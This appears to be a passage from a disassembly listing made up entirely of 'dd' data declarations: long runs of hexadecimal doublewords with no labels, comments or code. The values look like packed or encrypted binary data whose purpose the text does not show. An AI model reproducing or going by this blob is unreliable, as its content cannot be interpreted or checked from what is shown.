dd 0B74E6C3Eh, 0D55885B0h, 0E5416681h, 6472DCADh, 0E8D6EFCEh
dd 0E954B0D8h, 542158C4h, 0D3AEA0D6h, 0DEFFA6B2h, 1BBF858h
dd 36396805h, 0CF24F3CFh, 869AA591h, 0B1871CD5h, 0F6D56CADh
dd 0CDA4F95Eh, 0D7E91857h, 5EB984F1h, 0A5D171Eh, 74F68F8Ah
dd 0F8C35202h, 600C60E7h, 0F01398C4h, 0E807A205h, 8B5DCE78h
dd 79541027h, 0A1E96278h, 5117585Eh, 0E2D6C3E6h, 7CF54A38h
dd 0C0EA73F8h, 47B2F695h, 892E7862h, 7208C1F1h, 685B050Dh
dd 122DD56Fh, 5B77ECD9h, 0CFA3AB50h, 0A0F4E5EEh, 0B74F4BFAh
dd 0C772E0C2h, 237F597Ah, 0A2B18A82h, 166786C3h, 11F529DEh
dd 0FD05084Ah, 0ED32DEE9h, 3E407C8Ah, 7026B05Ah, 3D200BDAh
dd 790D7F7h, 3604C4D0h, 5F3A0175h, 0ED2D6EC4h, 2FB331h
dd 60C7804Fh, 3013DBB5h, 0EBB45BFDh, 276AE344h, 0F1F98557h
dd 0BD82AE6h, 4208145Dh, 3409CBB2h, 0C806CA32h, 8809CCFh
dd 8B9F5759h, 98765AA7h, 877E4BACh, 0ECD80474h, 28AC0E47h
dd 7AE7DFF0h, 0C7C253Eh, 1E0B4A45h, 0C9B8D1E2h, 0B857A907h
dd 0F516672Ch, 0C2F3FE09h, 0F2055296h, 64C89A17h, 12C6453h
dd 88CA015Fh, 8003FB61h, 0F8377708h, 0CB6DDED5h, 3304E87h
dd 903E69A6h, 1777EE25h, 0EEA41C13h, 999CD183h, 0BCF6E985h
dd 0B6B05E40h, 6F961358h, 0FD90A1DAh, 385DEA2Ah, 0B55BDDD5h
dd 0E3A7C2E7h, 0B1C82DA7h, 0A85A8184h, 0ED2579CDh, 0A6EF5B49h
dd 62BAE272h, 0E919601Ah, 0DD314B9Ah, 0C4166FF3h, 0E9A005EDh
dd 19D3523Fh, 0D94B435Eh, 0F30248D6h, 7CEA28E2h, 37FE81A5h
dd 0C3CF922Fh, 0D26A2F79h, 2D59F269h, 634080E9h, 28004EB8h
dd 0A0352B64h, 0FE0D4C5Eh, 5A019AAAh, 444983C1h, 7B832F4Bh
dd 50098C9Dh, 106AAE00h, 0C10048F6h, 0E78106EFh, 32553220h
dd 2144F56h, 74F1A860h, 250F9E00h, 5E98578Ah, 5595022Dh
dd 0E0D12B28h, 0AF0B443h, 357E223Ah, 0AB706B78h, 90BC7CCBh
dd 82DD598Eh, 0A5ABE30Fh, 30484250h, 0F468097Ah, 0B117C86Bh
dd 6E4A14Bh, 0FA3312EFh
dd 115EE65Fh, 0BA01CD4Bh, 63265EF6h, 4C062B09h, 9B1CAAD5h
dd 8430107Eh, 80A2988Ch, 27F3F24Ah, 0EBA220F8h, 64E74354h
dd 0FB4CB631h, 84C6C354h, 46FC095Ah, 530E53DEh, 8FFFD8CEh
dd 41CD6FFDh, 0BA84666Bh, 1571B90Ah, 912FC67Eh, 0B930D73Ah
dd 0A0C5DAF7h, 0E525B9D6h, 6E627A4h, 23286Bh, 7778869Fh
dd 9ABDF63Fh, 32E390D7h, 0A2D2543h, 54C82AFh, 6870510Bh
dd 0D8262350h, 3AEC899Ah, 6609CBE0h, 65545359h, 16E1A443h
dd 0E9988371h, 3D74F6F3h, 2552764Ch, 0C390EE3Bh, 4D4A61FCh
dd 0AC35BA8Dh, 0F5A764B8h, 50613EAh, 0E25C6D25h, 19189984h
dd 227DBB02h, 5DD80128h, 94C81FA4h, 2491B3C1h, 689F8CA9h
dd 0FE341A52h, 800261EEh, 0DFCE6EA7h, 2E165210h, 0FD01905Ch
dd 551B666Ah, 1E21E640h, 0BD3C0236h, 0D20A0683h, 25576DC2h
dd 65810183h, 0D424DF70h, 350348EBh, 4F0AF02Eh, 32CF7FA3h
dd 6A330C05h, 84C4439Ch, 354997D0h, 31C81330h, 3AA6FCF7h
dd 39C2104Ch, 0F24A0890h, 0DED939Eh, 8502EC96h, 55E26AE9h
dd 8EE76C05h, 0BCD416BCh, 78E18903h, 0F0293C42h, 14C1A5CFh
dd 4671FB98h, 0B100BF3Dh, 5304515Ah, 0F988D6B7h, 8CF8FD84h
dd 0C613C33Bh, 11AFF696h, 77483DF0h, 25FABB86h, 0ACCE619Fh
dd 5659358Bh, 8D4FAE54h, 66A19A0h, 0CFD237E9h, 6878C450h
dd 9B237B2Dh, 0B39A007Bh, 0E9D988AFh, 0DF9CA96Eh, 0E654DE4Fh
dd 0D6CB83CAh, 0B023A321h, 286F77E3h, 38B63B27h, 0C48BDAAEh
dd 0DDDADE01h, 131AE91Ah, 5A47577h, 20280457h, 5984DFA9h
dd 3E20F4D2h, 0F453C5CBh, 0C2E9D9B9h, 94FE3E4Ah, 56F88712h
dd 9BD1C9DFh, 52C86D2Fh, 7CF64EBEh, 0AF9ADED1h, 0A7E0524Ah
dd 6100134Ah, 0F9070F35h, 0E6970511h, 0DD5758CBh, 9E0D0460h
dd 4C02B608h, 0B75FFB2Dh, 278284CCh, 0B4EB8002h, 0F6F06CE0h
dd 614ADE7Dh, 658FC584h, 81FCDD26h, 5C71C9BAh, 15C03F36h
dd 2EA92605h, 241E0806h, 28506133h, 0C26670F3h, 0B1835F82h
dd 88D2F441h, 8F0E34D6h, 958EE502h, 90DF8693h, 66E368D7h
dd 2B3F7770h, 0BE6AA484h, 21091E0Eh, 687310F0h, 0E60E4F1Dh
dd 9A12D2D9h, 41E3FCE4h, 0DBCA20C8h, 71776817h, 0C13FF6FCh
dd 0ED207ACh, 6CC18103h, 20F7A9ACh, 174C6D79h, 0DA1E8478h
dd 0F29D31FEh, 0CA373935h, 5801D453h, 89738F0Dh, 5ABFE02Ah
dd 832C3641h, 0E9A15C59h, 14434BAh, 0C588D15Bh, 5D1D60FEh
dd 83219568h, 435B3012h, 41AA4A01h, 1E3F2D54h, 0B51B0181h
dd 3853BCADh, 50904E69h, 921F04E9h, 293326BDh, 187E69B2h
dd 0C3F652h, 7B777D4Dh, 0B9695CE9h, 4D2D5496h, 0A000689Dh
dd 0B56C2768h, 1FE8A218h, 0B4651EBFh, 0E9555071h, 4852FB25h
dd 9108C12h, 835F7B03h, 3109B2D6h, 996DBACh, 445A946Ah
dd 0DC22CD00h, 5FF90940h, 8AD95AF7h, 0A8BE00ECh, 0C1332962h
dd 20CBB8E6h, 20B5F335h, 168468B9h, 0C94A4892h, 7C582B5h
dd 0D3ECFE0h, 47359F05h, 0DDB1A1E9h, 9576977Fh, 0ECB25215h
dd 6AC8F415h, 613B480Eh, 0A5BF04D6h, 0B4201877h, 0E5883E90h
dd 6E1C014Bh, 0B207EDC0h, 0E8283628h, 8151B949h, 4AC22A5Eh
dd 96A358A8h, 0CA173C89h, 5090F3F9h, 20B1AF87h, 9A1F5AA7h
dd 0A399061h, 0C3012BDDh, 7F060287h, 0A3403259h, 6B91267h
dd 0A3B95502h, 9097D9Ch, 0EB3FEFA2h, 69EFAA74h, 85ACD698h
dd 0BA88685Fh, 6A098F35h, 62057E34h, 38D5D817h, 8814D289h
dd 0DDCB9372h, 0A504E6C8h, 0E16CA7ABh, 2DBD41B5h, 0E203B274h
dd 255AF25Bh, 9F98DD68h, 63C041E9h, 3E2EE32Dh, 1A27BE36h
dd 0CB624D71h, 0D24EA0FEh, 114EACA9h, 5B18AC31h, 78851C4Ah
dd 9847AE28h, 73F33F04h, 38B029F6h, 2CA16726h, 0E38E1BEh
dd 49B2EB17h, 56941855h, 60165968h, 0E9A9604Fh, 96B52CB6h
dd 0ED81255Ch, 0D5134379h, 2D4998FCh, 9A23E34Bh, 0E1896052h
dd 43058108h, 0DCD95E7Dh, 16DD7E1Fh, 0F027C067h, 2AEB3FE8h
dd 1B510813h, 6714701h, 96B12F7h, 98A64C44h, 6AB7D659h
dd 491BE86Ch, 0EBC0B6AEh, 9169AFFCh, 656560A9h, 8DEAB000h
dd 2E193E21h, 9D4C1415h, 5E1A304Dh, 775B4E92h, 38449522h
dd 0D8FA4C01h, 0D008A070h, 299620E9h, 3ED12C24h, 0B3975214h
dd 5AE8E2E9h, 2E26017Bh, 4A682931h, 85322B16h, 34F2A311h
dd 0CAC28331h, 9734F02Ah, 0E927EE1Ch, 0C1FE8044h, 276807E3h
dd 0EE18321Bh, 0D51658A3h, 76BC400Dh, 73E91274h, 0F9E745C4h
dd 4D148356h, 7B7BAE91h, 0D2002829h, 2EE11D91h, 0AC948915h
dd 0AAC50804h, 91C1923Ah, 0CFA67F90h, 8901133Dh, 0B40009F8h
dd 2CAC8E20h, 322A688Eh, 0B601785Ah, 4E6C061h, 4430CEFEh
dd 54E497ADh, 623B6815h, 4C54C17h, 29D808E6h, 0FF05182h
dd 947FAC41h, 84436028h, 44E0571Dh, 5D34F798h, 1AF56081h
dd 0AE98B90h, 88D37FE3h, 0D1169380h, 0C18EACF5h, 446290F2h
dd 8C6089D9h, 90B52164h, 95565371h, 8B90ACC4h, 5974Dh
dd 9835E62Dh, 0E4BE051Ah, 70364C03h, 0DCB9A14Fh, 8FA14948h
dd 68CD00Eh, 3A45A6F9h, 7BECD717h, 19D14704h, 0D9E90229h
dd 0CF85A4FAh, 6712E9EDh, 4B002C0Ch, 845AE75Ch, 412F2BBh
dd 0AD9AC5Dh, 542CF35Bh, 0DE157100h, 0BF515F65h, 2F0CC611h
dd 68099F9Ah, 65D46348h, 94395CD1h, 0A81AE984h, 65B24EA3h
dd 1D823C9h, 80B0149Dh, 247547D0h, 12C56ADAh, 0C6D4A8FBh
dd 139CAB1h, 0D261CC5h, 3AD5F71Fh, 6D097925h, 171DD60Ah
dd 9A3ED62h, 30178B68h, 0B5EE88C2h, 59B0E2ECh, 0D0CAC1BCh
dd 0E02EC700h, 5564217h, 1019F2BEh, 0FF900137h, 207B1175h
dd 4D097C46h, 0F0929B0h, 86EEE78Bh, 0C0C24D7h, 6D830B3Bh
dd 55DC01D3h, 3D1FE9C9h, 0BDC38748h, 64339CE4h, 0B9E3FDE1h
dd 0E854E0FAh, 0D49297D3h, 2E4ABD00h, 6F9039A1h, 0D358200Ch
dd 3C6E0C19h, 18B7276h, 0AE565DE9h, 2D23FA5Ah, 409CD188h
dd 98D3CBB7h, 0C0615363h, 37A4F11Eh, 0E197C0D1h, 902A2DC5h
dd 54055B8Ch, 705E2525h, 80709511h, 5F580640h, 0DB72D059h
dd 5E5F4969h, 0C4059F7h, 49E5BE9h, 0AE895FCEh, 1C4FAAC1h
dd 5E866620h, 7D499DF7h, 58129F95h, 0B3FEE0D1h, 0FAC72F81h
dd 3F21830Eh, 9245360Ah, 64303900h, 5D126818h, 0D084250Dh
dd 7827FA31h, 0A5F05E8Bh, 705245E1h, 0F6B2B8DDh, 0DCA4235Bh
dd 0E989C99h, 0B7E5E801h, 9027C820h, 42C02514h, 10A61FA6h
dd 77A0DD94h, 4E5E1359h, 0E380AD33h, 5706079Bh, 27CF8853h
dd 0AEDA2FAh, 1AAD66DBh, 77E6BAC7h, 0D8BCDC94h, 0C33A88h
dd 7B2970BEh, 0E600C145h, 4F68105h, 1CAF652Eh, 0E45EF589h
dd 0FCC2301Fh, 344CC71Eh, 0BDCD4F81h, 20A810A6h, 5E83B010h
dd 618A9202h, 66B8055Fh, 1866C9F3h, 0C425BF30h, 6BC8D602h
dd 0CE9A61AEh, 0BF21C755h, 1310CDD2h, 0EEC00F2Ah, 0BB220A08h
dd 76FB2189h, 4E06A29h, 90E05038h, 6101EAB5h, 0F3295816h
dd 56086D10h, 712125D1h, 0D85A6923h, 74413945h, 0BC3DA20Ah
dd 12A2D44Fh, 71FB98Bh, 5A5F5257h, 0D5DFF712h, 606158Ch
dd 3BEBE912h, 0F2938BADh, 5CE76051h, 914DE068h, 0BD668351h
dd 53A241A5h, 0E74FC459h, 515562BFh, 6F9A70Ch, 885954CBh
dd 0C0C64AE9h, 8E7C01Dh, 50DFF607h, 20D441B4h, 9A7DEAE1h
dd 0BD2253A5h, 0D81FA764h, 58670839h, 64138F9Dh, 3786913Ch
dd 0F6397B26h, 954C9838h
dd 284B3A1Fh, 0F65820ACh, 485A485Dh, 0DE7004B7h, 85D108B9h
dd 0D77F1B81h, 0B1E77433h, 35DB7101h, 33EFE8AAh, 75FA8E48h
dd 8C11411Dh, 2FB0189h, 7B40A051h, 36A16205h, 16B214E4h
dd 8C1EE07h, 0EC635AF4h, 60C4CAFFh, 0BF4C9BD2h, 47A66E23h
dd 0F05313F9h, 95C9CBB3h, 0F2B784D7h, 0F8A567ACh, 13EBD20Fh
dd 0C36BB4F4h, 5BA8CE4Ah, 0ABE15CE2h, 0EEB806B7h, 5D29E77Ah
dd 3097023Fh, 84DAE219h, 8516B322h, 7354AE1Dh, 44E9B07Ah
dd 4EB0804Dh, 58C53007h, 52CEEB28h, 0CD170BB2h, 773521ABh
dd 0EBA65245h, 95BD91D4h, 4880AFD3h, 823F4CE6h, 0F75A2A68h
dd 1EE980B0h, 82801D45h, 8083AEBBh, 3CD42969h, 365F07A9h
dd 0F49B4062h, 9508208Dh, 82564A24h, 4A82BC03h, 0B202464Ch
dd 175C2EDh, 2867C1DBh, 0C3A5FEB9h, 54B2F118h, 17F970E1h
dd 836E4041h, 0DD82D95Eh, 59B49E1h, 0C9829497h, 66C4DC05h
dd 5F0A6F2Eh, 66787168h, 62AB5795h, 563B79A0h, 1D7F89C5h
dd 100C666h, 813A850Ch, 3B51DEE2h, 0CA005CF5h, 2A612376h
dd 0E6AA01E9h, 5D490F5h, 2E7958Ch, 2788FD23h, 0FA420DFh
dd 0B78FFAF7h, 0AB466Bh, 9F4141AFh, 3657C214h, 69294EF4h
dd 0C1EF7442h, 56B7FCFh, 8A23CB3Ch, 2C645250h, 5197B178h
dd 81BAC01h, 0E68704AFh, 31A2407h, 0FFF3D2F7h, 1A5A7430h
dd 504B5886h, 1937F420h, 0BC1BB431h, 3B4F60B7h, 0E917D1E6h
dd 0E641C635h, 6BEF8059h, 28C0D8CFh, 0ABF6A3F9h, 0EA82C15Bh
dd 0ED931D72h, 92EF865Fh, 0DEF30723h, 0B548D953h, 0D4FFA1A2h
dd 0A5958B52h, 53B03FB3h, 0B783CBEh, 8BD030A5h, 68865295h
dd 280EA8F2h, 3F33606Dh, 0A1648ABEh, 0B9E370F1h, 0DEC24394h
dd 43C50F44h, 0A1E1A8D5h, 101A2D6h, 0ACC8DCDAh, 9F78080h
dd 1222687Dh, 0B0007344h, 0D0E334EDh, 0F24A2CE8h, 6690A7h
dd 8CEB8065h, 0D828BF04h, 345BD0FDh, 0C73DC877h, 0D41725E9h
dd 0E33D67DAh, 6CC26D3Fh, 0A607E00Eh, 0BB4C010Bh, 0B00C20E0h
dd 291A8117h, 5908248Eh, 1CA8FC36h, 9F96F81h, 5F2FB551h
dd 683083B1h, 9CB14C3Fh, 0E8C9C253h, 0E6137F29h, 58F3D8BEh
dd 20041822h, 33A08A7Fh, 0A1382AF0h, 0C9D7A531h, 65AE0779h
dd 295C8A13h, 5A61111Eh, 0C8172F8Bh, 84B1ED3Eh, 62BB6344h
dd 5FC3565Bh, 279C6A0Ah, 0F9048547h, 0F7C02B16h, 58FFD0E9h
dd 0A2984F02h, 3B2CD44Fh, 128C0E78h, 98E25311h, 0D3044E14h
dd 5AF9C5C3h, 9F2C7CFAh, 0E4F025FDh, 0E56CD7DDh, 0C8B3604Ch
dd 0EBE0E925h, 979CB1CFh, 81410C81h, 0E478E8E1h, 0D161F723h
dd 0D7DCE904h, 68C2C069h, 81D938B7h, 73758Eh, 0F9EE8107h
dd 0F570E28h, 26BA94E9h, 0A8080F76h, 0C4FE0BA5h, 0C0059100h
dd 0CDED03E4h, 0CED8E7E1h, 3F67B5E9h, 0E81B934h, 0A12B7F2Ah
dd 619407C0h, 2163E537h, 5C752C9Bh, 82C1F469h, 0CA6AFD78h
dd 8FC812C2h, 9F29A028h, 0B89DE74Ch, 793A12h, 0E1BB342Eh
dd 0E96A9BEEh, 0C5D00D5Eh, 0BB97FF5h, 0E8313DEAh, 4BAC6F51h
dd 0D2399202h, 2505560Ah, 0BF02ADF2h, 2420440Bh, 6449FE47h
dd 7861EE3Ch, 0C446CF87h, 0B8500108h, 26490A79h, 47C92009h
dd 0B3310E40h, 8569657h, 55A9E7C1h, 0CA3A3709h, 0A7848DDh
dd 89840B80h, 5156F701h, 0E9F5EE4Eh, 5B2323D2h, 0A12DF25Dh
dd 401168A6h, 0D3C44868h, 4550988h, 0D4163154h, 3E78BC27h
dd 29199209h, 4F2155E4h, 540DB332h, 0A54048F2h, 0D5892D5Dh
dd 0E61685F8h, 7BBC0D1Ah, 594AB403h, 84E40126h, 0E908056Ah
dd 8891A074h, 0AD71B8C4h, 6FC98100h, 39589A4Ch, 0D5550549h
dd 0F603A182h, 10CBCAE9h, 0C75F4FD1h, 0DE8B5A5Dh, 2DE748C8h
dd 59AF9A45h, 4FE508F8h, 503E17A8h, 7408A5E9h, 10CD965h
dd 828FDEFDh, 46CF312Ch, 0AADAC124h, 87823327h, 0B1E65F3Dh
dd 0D011AF6Bh, 812FE770h, 595D5C9h, 9046E609h, 1690CA54h
dd 456936h, 2BEDD438h, 0C64DE923h, 40C94B16h, 7321AB79h
dd 0C256E985h, 2E97A321h, 0A3003471h, 0F721D105h, 35608D2Bh
dd 6794402Bh, 0E5E3335Ch, 0C0982CF0h, 7E0C148h, 16027F35h
dd 0E20199AEh, 1F8FD285h, 0E5E9F613h, 0D42E47BBh, 6728E947h
dd 5EC9C819h, 945808FFh, 8786983Ah, 1E6AC6C5h, 0CB73B344h
dd 86798C3Eh, 0B7015513h, 319D2BEFh, 956564FDh, 36BB5696h
dd 21274B00h, 177B00EBh, 0F20AE007h, 565948CBh, 452EE501h
dd 71DF0144h, 97C8FA2Ch, 114EEE80h, 5C7B18ADh, 55A0853Eh
dd 1B1344BDh, 31A82F34h, 34B0F0Eh, 7410C5C0h, 0FE90772Dh
dd 8B68DF09h, 5E796254h, 4A5700CCh, 8D3544F8h, 183B7516h
dd 0EF3821B1h, 0DECDA84Bh, 0E6072C09h, 16995A5Eh, 79670B9Bh
dd 0F927D5D6h, 40684120h, 0C4662867h, 25EBF9D2h, 320C82B9h
dd 5F7BC954h, 4ED32A6Ch, 0ACD693E3h, 0E3B9F458h, 13A56084h
dd 8828E1B1h, 0B68781B4h, 93F472B4h, 5CC068ACh, 0B050C5FEh
dd 0A2284D28h, 70180427h, 738BE905h, 1D4969E9h, 0D94CE4C2h
dd 51010E3Bh, 290803D0h, 65F8E9F1h, 92827EACh, 9D225073h
dd 70952EB4h, 12C983Ah, 38BF6C6Fh, 0E599407Eh, 3A1A25F5h
dd 9824779Ah, 89AD9D36h, 547CCC25h, 0A6F45447h, 0FA43E5D3h
dd 4D56FAh, 61D12D59h, 12C19CBh, 873955F0h, 81773537h
dd 360C69B0h, 0D874C127h, 3AA29421h, 2D5EBA00h, 65760280h
dd 1F05122Eh, 78040007h, 9D683859h, 85134259h, 39BAA50Ah
dd 7C9C6E1Fh, 0F8E5BF5Ch, 3170AF9Fh, 3D1BF9C6h, 0A99702ECh
dd 0A27FE4E2h, 0DFB35E26h, 0B490E22Fh, 665C1621h, 710CA83Bh
dd 0BC2B2B50h, 3AB61F18h, 0F5FB00Ch, 90E93BB4h, 4437EB92h
dd 0A813A3D4h, 0B7FC506Dh, 0A85B6D07h, 204FDD31h, 9C3666EDh
dd 6F09162Ah, 419F051Ch, 1B58E285h, 0EA9F01BAh, 30C70F9h
dd 80C3285Ah, 613F8EBh, 0ADA16629h, 290209EAh, 9A9030B3h
dd 4B32710Ah, 0FCD9427Eh, 6C5C8247h, 0D0DA493Eh, 53BE105h
dd 22C70952h, 0D872618Fh, 0D26CF917h, 652D0660h, 0E09DA823h
dd 984E4DB4h, 82FA9485h, 3CEC521Fh, 5B041042h, 1971D129h
dd 0C1CA3830h, 3E7C3C33h, 0E717807Bh, 0E0B7C651h, 121F386Fh
dd 0BB89348Eh, 4E31722Ch, 0C457F2D3h, 56949DC0h, 0C04F4592h
dd 277B9932h, 8B5E5E74h, 0A845E904h, 0A38A61EAh, 97B72A01h
dd 160FBC50h, 0F97E1117h, 68084167h, 0DE28DAB1h, 0AA5C4294h
dd 0D69D5E04h, 2E80A500h, 445F5B6Bh, 0A0BF65Dh, 0D9BA61BEh
dd 0A3B84ED9h, 453A3110h, 0C69DFCEDh, 0D89C14B6h, 9F519D60h
dd 0A0175C9Fh, 595B2641h, 673DCA30h, 6750681Fh, 15E39874h
dd 0C3EF0322h, 73944B7Dh, 9D0A89Ch, 2BD027E3h, 0E75305E2h
dd 7C81610h, 316F57C2h, 7003CEDh, 28FB015Dh, 32F80388h
dd 0BEA483DEh, 0FE8EEA55h, 2D91A65Dh, 0BF90718Bh, 9197873Fh
dd 50705582h, 28F44ED0h, 0B744595Eh, 0CB5F4FFEh, 0F794CB2h
dd 0F2C8310Eh, 57E8A7ACh, 685F5806h, 976B10EAh, 885AB8A0h
dd 594C66EEh, 0F61302F8h, 61D60CD8h, 2CBE03D4h, 0F7CDF655h
dd 8987ECC7h, 0B708FE26h, 0D19D5714h, 63684292h, 1AC6C65Dh
dd 7CB530E9h, 0BEC11F84h, 0D1014091h, 0DCB6AAFBh, 0F5A9EF97h
dd 4ED3C05h, 12DF47B0h, 9D1444FFh, 0AB680230h, 9CEE711Ch
dd 0F66EC088h, 6E8C0D0h, 0DB415AB0h, 11B7CB40h, 81360007h
dd 0CB3150E5h, 0ED1BC143h, 0A0144506h, 16091E0Fh, 0E3E078E9h
dd 7F575F84h, 522C8Ch
dd 2F509A68h, 0CA815A7Eh, 0C873FD09h, 0F647803Ch, 0B4238821h
dd 0BACD0902h, 58611F20h, 0F1FE66A0h, 0C9815E02h, 0E14216E7h
dd 0B288E16Dh, 880BA6B3h, 40D989E5h, 91ABF39h, 4F63C717h
dd 24D7E002h, 0CFB0D8E3h, 28F0156Bh, 60E7C12Dh, 5608376h
dd 0D4E946B2h, 171FEDFh, 21608864h, 0BD825274h, 32610F04h
dd 3913EA5Ah, 0C693EECh, 0C0F6A500h, 0CCA3B464h, 7AECB64Bh
dd 0E92559A6h, 2D8B51h, 5649D909h, 0D8F70020h, 0A525E0D1h
dd 786EA42Ch, 0AB81D70h, 84F02938h, 657AC200h, 2DE91AE0h
dd 0C6722A57h, 5DC1DC62h, 1956729h, 0C33C472Dh, 5A12E69h
dd 0B7F00705h, 913225E9h, 22BD5CE4h, 72EE1732h, 515F0960h
dd 4D034211h, 45B00114h, 2E4B79E9h, 37F7DA44h, 8C1D0412h
dd 122895E3h, 124F9108h, 0DA174110h, 0C7DD2A33h, 97F66CECh
dd 2F354426h, 1D811E9Eh, 5D0B2636h, 3A031628h, 297F9346h
dd 0A2C0AF4h, 5A57558Eh, 80CF4894h, 6DE67E6h, 72EE63D8h
dd 812D0C20h, 337CD4F2h, 0BBE55925h, 0E630548Bh, 0F8C597B3h
dd 0AE8899AEh, 0D0300B94h, 0E9617E79h, 413FE043h, 770BF10Ah
dd 52986405h, 89837997h, 0AA82DA89h, 8707D2D7h, 85E0459h
dd 2A27A001h, 0BA6D206Ch, 7DF3141Fh, 37BEF703h, 0F901B0FBh
dd 127C4FE9h, 109DF665h, 1E583ACCh, 2DA39D2Ch, 0E07E0608h
dd 0FD25CDB8h, 0E6E9380Bh, 242DD9E4h, 9EE02584h, 0DD5F3548h
dd 5AAC0C4h, 0FB5BECBh, 92E4693Bh, 7140EC42h, 0E69AB1FEh
dd 31215F39h, 80C2E41Ch, 0C1F76707h, 0CC6FC120h, 102F6807h
dd 0F4721B28h, 8180A3E8h, 975A6532h, 35A0764h, 0C0EC1994h
dd 0A4E20BA4h, 400236D2h, 0BF035A25h, 0F6B85F7Eh, 2BD71AE9h
dd 82EBAB8Ch, 5F9C3255h, 0BF05BA9h, 0B0972EB1h, 4BAF8B0h
dd 21911533h, 7CC0AE01h, 654816EEh, 0FFF712E1h, 5F417979h
dd 0C402A71h, 4EE7FA3Eh, 2300A0A6h, 5FCD295Fh, 93D7D37Ah
dd 206827A1h, 6D1D0811h, 0EBCA2049h, 0BEC0EA76h, 717BEA2Eh
dd 3D79160Dh, 9B1AC17h, 70509073h, 292B4D41h, 20D22C00h
dd 0F68058C6h, 0CB30637Dh, 0F7DE7D1Ch, 0BA08DDD3h, 530B3FC8h
dd 5802CEE3h, 0B70386F0h, 3C07B929h, 1CA1CA7Ah, 68C5F9F7h
dd 71EB49D4h, 28DF5AC4h, 0D1CDC4ABh, 0AC400112h, 0EC0127DAh
dd 0A9831885h, 647C9484h, 0F7D4C9Fh, 0F1B0FDF5h, 0F471ED05h
dd 0E7435B85h, 5B99ADE9h, 58A98F32h, 40E5C9B1h, 78015ECEh
dd 898627C3h, 7EC1143Ah, 0BA6600CBh, 2E76743Dh, 105ED029h
dd 870B7BA2h, 5E02AE1Eh, 0F841AE5h, 0EBE90F87h, 681768D0h
dd 0DB3214F7h, 0F2364153h, 2F0171BBh, 29A5BCFDh, 8014F5CFh
dd 745DBDC5h, 2B921D3h, 115F1B43h, 0BE62E931h, 12FC7E84h
dd 400C1EBBh, 214BC677h, 570259CEh, 0B0658DBFh, 2639C023h
dd 7CC5083Dh, 0EF01F729h, 0D9A0239h, 0FE80C8Eh, 748058ABh
dd 0F789575Fh, 0EBD86C8h, 0C807E22Ch, 7E504904h, 0D8284A1Dh
dd 0C5BC5B97h, 5F92C110h, 0A2017BF0h, 4E16DFCEh, 3C0E134Fh
dd 290378B8h, 0A6EEB547h, 0EE0330B5h, 0C7B39519h, 12B465D3h
dd 0B8E70E1Eh, 0FAFB21ABh, 40C75A61h, 287CAB64h, 92B5495Eh
dd 0B2F3005Eh, 247DA04Bh, 7DEEE83h, 0DEE6D1DEh, 0C826FFE0h
dd 1F27E943h, 58E03CEBh, 0F35B5F68h, 0CAE90CAFh, 1E30C12Ah
dd 8C12471Eh, 5C4AE565h, 3F8AFFA0h, 50452BB6h, 6BC0E21Fh
dd 35B816E1h, 1D282FC3h, 0B9443751h, 2DAF8995h, 0F03C2EAAh
dd 0AB0F2D66h, 24E96A28h, 0F9A0C2A2h, 585D5000h, 2D0012Dh
dd 0E82960D7h, 0AF074505h, 16EA0531h, 6FF5E47h, 7427DCEh
dd 362FA9BFh, 0D00FA44Ch, 52442CFEh, 289DB232h, 0B0F809AFh
dd 720B4CA0h, 0B432492Eh, 10D0F19h, 4227F02Ch, 0BBDF5989h
dd 88D54520h, 7C1DA33Ah, 1A4787D6h, 4E056644h, 0BE4C087h
dd 0EC0229AEh, 0E292A9E0h, 40D41782h, 44E37E25h, 0A41A8741h
dd 0BCD8AEF4h, 0F43B5E68h, 0F55505C0h, 0E11061ECh, 5E898047h
dd 926CA35h, 250A9014h, 57DE9D67h, 0C1E15951h, 20256808h
dd 70EED453h, 804A2C1h, 0D9015355h, 3469F180h, 4F5E2C1Fh
dd 1781C0Dh, 0D7F7156Ah, 0C7148047h, 675F090Bh, 9084FE9h
dd 9B7D58C4h, 0C88D0571h, 0BE4CD411h, 0F2300702h, 2FD4547Eh
dd 3BD3F970h, 64123452h, 0B292C4EDh, 69C7CA04h, 51619089h
dd 0A02B919h, 464E590Fh, 9EB01077h, 59030F0h, 826C533Ch
dd 40982598h, 0E908EF50h, 5905ED27h, 113B2C6Ah, 90A24FEEh
dd 0C09EBD8Ah, 0E54300Ah, 2A885A1h, 1414051h, 0B953B63h
dd 88B85080h, 0C16DD42Ah, 0F708E800h, 6C2605D0h, 3271F990h
dd 4788DC45h, 64F302CBh, 0EBC10293h, 7899E0E3h, 1EC20F7h
dd 0EFE9DF12h, 77B2EBE0h, 0C49D5AF6h, 1E67BC5Ah, 99932554h
dd 76BB6F52h, 65BFCD25h, 0ED02BFD9h, 1D965518h, 7B5721E0h
dd 0C54B142Eh, 810ABEA4h, 0C340BC5h, 865F1709h, 0B7462FEAh
dd 0B579142h, 0BF7AF6D7h, 0D0D45FF9h, 0BF02AF96h, 0D929D925h
dd 8FD8CB52h, 43FC1E1Fh, 3FF3F101h, 0EAF20A9Fh, 2FDE569Dh
dd 0FA54A6C4h, 685156DDh, 0D3F34222h, 6C967AF6h, 0E4C77CBCh
dd 815DD50Ch, 0A77B9EEAh, 5A4FF498h, 265B24C8h, 0C92B1B9Fh
dd 9433AE43h, 3A59540h, 81210734h, 7CD09ECAh, 0AB5DE90Fh
dd 5E680BECh, 8B38D11Ch, 96711598h, 3ED45E47h, 0DD7AA1F1h
dd 982A30ECh, 66DC6716h, 13977708h, 82290B54h, 0C3BED561h
dd 59893127h, 0A766942h, 50CBE947h, 0DB479D77h, 52272032h
dd 6AC10925h, 8957658Eh, 0C2C954B9h, 0D1029FAEh, 3AB560EEh
dd 661F1867h, 1BB8B246h, 0BCAADC26h, 0E96157AEh, 352B202Dh
dd 6BF4BDAEh, 4771FC0Eh, 2EAA29D2h, 0F97F07D7h, 10C28A98h
dd 0C46625ECh, 7AB825A9h, 4E30DEF1h, 0BE5DE568h, 116E6234h
dd 5F5ACF56h, 82253547h, 680D036Bh, 9D46D038h, 0C795E0B4h
dd 0B22A98h, 22CA188Eh, 0E184E3BAh, 79E1864Fh, 1E84C16Fh
dd 4FE05B4h, 80E82402h, 0A847EDB0h, 0E90BDC09h, 22FB561Bh
dd 5E45B5E0h, 4309388h, 0E8DA0158h, 8DABA4CFh, 9CF4FF39h
dd 51605A77h, 3AE957D0h, 62408223h, 8F3DBA16h, 9F7C9655h
dd 7E10B48Ah, 4FF04EE1h, 811F9C2Eh, 6668F3C5h, 1DC0EC2Fh
dd 0F60CCE9Fh, 24935ADDh, 0DFACFCEFh, 2F81E496h, 7305F54h
